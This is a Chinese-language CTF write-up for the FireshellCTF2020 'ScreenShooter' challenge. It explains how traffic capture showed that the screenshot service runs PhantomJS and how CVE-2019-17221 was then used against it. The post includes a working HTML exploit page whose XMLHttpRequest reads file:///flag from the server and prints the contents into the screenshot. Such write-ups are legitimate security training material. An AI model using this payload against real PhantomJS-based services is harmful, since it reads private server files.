刷题[FireshellCTF2020]ScreenShooter

(这几天拔牙了,有丝丝影响状态,更新可能有点慢)
今天看security search发现了之前碰上的一道题,具体在哪碰到的,不记得了。记录一下把

信息收集

刷题[FireshellCTF2020]ScreenShooter

如图所示,打开是一个screenshot,填入url,会对网页进行截图

所以我们需要检测该网页发送的http流量

流量检测

使用在线网站https://beeceptor.com/
刷题[FireshellCTF2020]ScreenShooter

该网站可以检查http请求,我们创建一个端点后,在网页内请求该端点,此网站捕获http流量如下图

刷题[FireshellCTF2020]ScreenShooter

在标题中我们可以清楚看到使用PhantomJS

Phantom JS是一个服务器端的 JavaScript API 的 WebKit。其支持各种Web标准: DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG

说白了就是一个爬虫,用来爬取网页

PhantomJS

搜索PhantomJS发现存在任意文件上传漏洞CVE-2019-17221
刷题[FireshellCTF2020]ScreenShooter

该漏洞通过file://URL的XMLHttpRequest触发

刷题[FireshellCTF2020]ScreenShooter

编写exp

编写html文件

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<script type="text/javascript">
		var karsa;
		karsa = new XMLHttpRequest;
		karsa.onload = function(){
			document.write(this.responseText)
		};
		karsa.open("GET","file:///flag");
		karsa.send();
	</script>
</body>
</html>

放在自己vps上,请求,获得flag

刷题[FireshellCTF2020]ScreenShooter

上一篇:Python中隐式曲线的高阶局部插值


下一篇:python-scipy中的line_search的示例